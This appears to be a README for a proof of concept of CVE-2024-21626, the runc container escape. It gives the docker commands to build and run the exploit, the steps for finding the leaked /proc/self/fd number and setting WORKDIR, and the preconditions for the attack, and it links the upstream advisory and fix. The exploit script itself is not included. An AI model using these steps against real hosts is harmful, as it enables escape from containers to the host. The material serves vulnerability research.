
For educational/research purposes only. Any use unrelated to education/research is at your own risk.
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
The specific file descriptors used vary between different Docker/runc versions. For example, with Docker server 20.10.17 and runc version 1.1.2, use /proc/self/fd/9. The actual fd may change depending on the order in which files are opened. Official documentation states that in most cases /proc/self/fd/7 should be used. To find out the actual fd used, you can compile runc yourself and add a sleep in the nsexec function.
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh /proc/{pid runc init}/fd
Modification: Change WORKDIR in the Dockerfile to the corresponding value.
Satisfy all of the following conditions:
1. 可以创建容器并指定执行命令
2. 可以指定容器使用的镜像
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e